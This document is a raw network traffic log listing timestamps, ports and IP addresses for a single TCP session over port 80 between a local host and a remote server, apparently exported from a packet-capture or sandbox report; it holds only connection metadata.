Oct 31, 2024 04:15:12.579760075 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.579772949 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.579788923 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.579806089 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.579840899 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.579857111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.579870939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.579885960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.579895973 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.579906940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.579921961 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.579924107 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.579936981 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.579951048 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.579965115 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.579973936 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.579978943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.580005884 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.580640078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.580653906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.580671072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.580694914 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.580805063 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.580818892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.580832958 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.580841064 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.580847979 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.580869913 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.580871105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.580945969 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.580951929 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.580965996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.580979109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.580995083 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.581001997 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.581010103 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.581026077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.581041098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.581043959 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.581065893 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.581074953 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.581089020 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.581106901 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.581111908 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.581126928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.581141949 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.581147909 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.581157923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.581170082 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.581180096 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.581187010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.581207991 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.581207991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.581248999 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.581912041 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.581928015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.581943035 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.581995964 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.582057953 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.582073927 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.582087040 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.582103014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.582110882 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.582118034 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.582127094 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.582134962 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.582150936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.582155943 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.582166910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.582190037 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.582190037 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.582205057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.582218885 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.582231045 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.582235098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.582248926 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.582252026 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.582263947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.582278967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.582303047 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.582330942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.582340002 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.583137035 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.583152056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.583173990 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.583182096 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.583189964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.583206892 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.626188993 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.631699085 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.636615992 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.636761904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.636778116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.636810064 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.636881113 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.636935949 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.652498960 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.659252882 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.659367085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.659379959 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.659396887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.659408092 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.659419060 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.659420967 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.659431934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.659441948 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.659459114 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.659523964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.659534931 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.659543991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.659554958 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.659567118 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.659568071 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.659578085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.659588099 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.659591913 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.659605026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.659609079 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.659617901 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.659631968 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.659656048 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.660187960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.660716057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.660727024 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.660737038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.660748959 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.660761118 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.660763025 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.660773039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.660784006 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.660788059 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.660794020 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.660805941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.660806894 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.660815954 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.660825968 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.660826921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.660837889 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.660841942 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.660850048 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.660861015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.660866976 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.660876036 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.660892010 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.660902023 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.661463976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.661475897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.661484957 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.661499023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.661509991 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.661539078 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.661628008 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.661639929 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.661649942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.661674023 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.661781073 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.661792994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.661803961 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.661817074 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.661828041 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.661828041 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.661839962 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.661850929 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.661854029 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.661870956 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.661887884 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.681919098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.681934118 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.681946039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.681982040 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.735554934 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.764163017 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764179945 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764189959 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764209032 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764219999 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764233112 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764235020 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.764251947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764264107 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764271975 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.764273882 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764286041 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764297962 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764308929 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.764337063 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.764431000 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764622927 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.764630079 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764715910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764728069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764741898 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764750004 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.764754057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764765978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764777899 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764782906 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.764791012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764805079 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.764836073 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.764861107 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764873981 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764883995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764894009 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764902115 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764910936 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.764914036 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.764925003 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.764957905 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.765187979 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765199900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765208960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765218973 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765230894 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.765233994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765244961 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765255928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765263081 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.765265942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765278101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765280962 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.765288115 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765299082 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765307903 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765317917 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765320063 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.765331984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765341997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765345097 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.765352964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765364885 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765377998 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.765405893 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.765676975 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765687943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765697956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765708923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765718937 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765726089 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.765729904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765742064 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765748024 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.765753984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765765905 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765769958 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.765777111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765784979 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.765786886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765805960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765815973 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.765815973 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765826941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765826941 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.765837908 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765849113 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765851974 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.765862942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.765882015 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.765911102 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.766623020 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.766633987 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.766644001 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.766655922 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.766668081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.766679049 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.766680956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.766690016 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.766693115 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.766704082 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.766709089 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.766716003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.766727924 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.766737938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.766748905 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.766750097 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.766760111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.766771078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.766782045 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.766782045 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.766792059 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.766803026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.766808987 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.766813993 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.766824961 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.766829967 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.766849995 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.767241001 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.767252922 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.767262936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.767272949 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.767283916 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.767285109 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.767296076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.767307043 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.767323017 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.767329931 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.767340899 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.767350912 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.767376900 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.768039942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.768050909 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.768062115 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.768073082 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.768084049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.768091917 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.768095016 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.768106937 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.768122911 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.768126011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.768136978 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.768138885 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.768150091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.768162012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.768168926 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.768178940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.768187046 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.768189907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.768198967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.768209934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.768222094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.768234968 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.768251896 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.768263102 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.768264055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.768263102 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.768275976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.768285990 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.768290043 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.768318892 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.769207001 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769217968 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769227982 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769238949 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769248009 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769252062 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.769258976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769268036 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.769269943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769282103 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.769283056 CET	49738	80	192.168.2.4	185.215.113.16
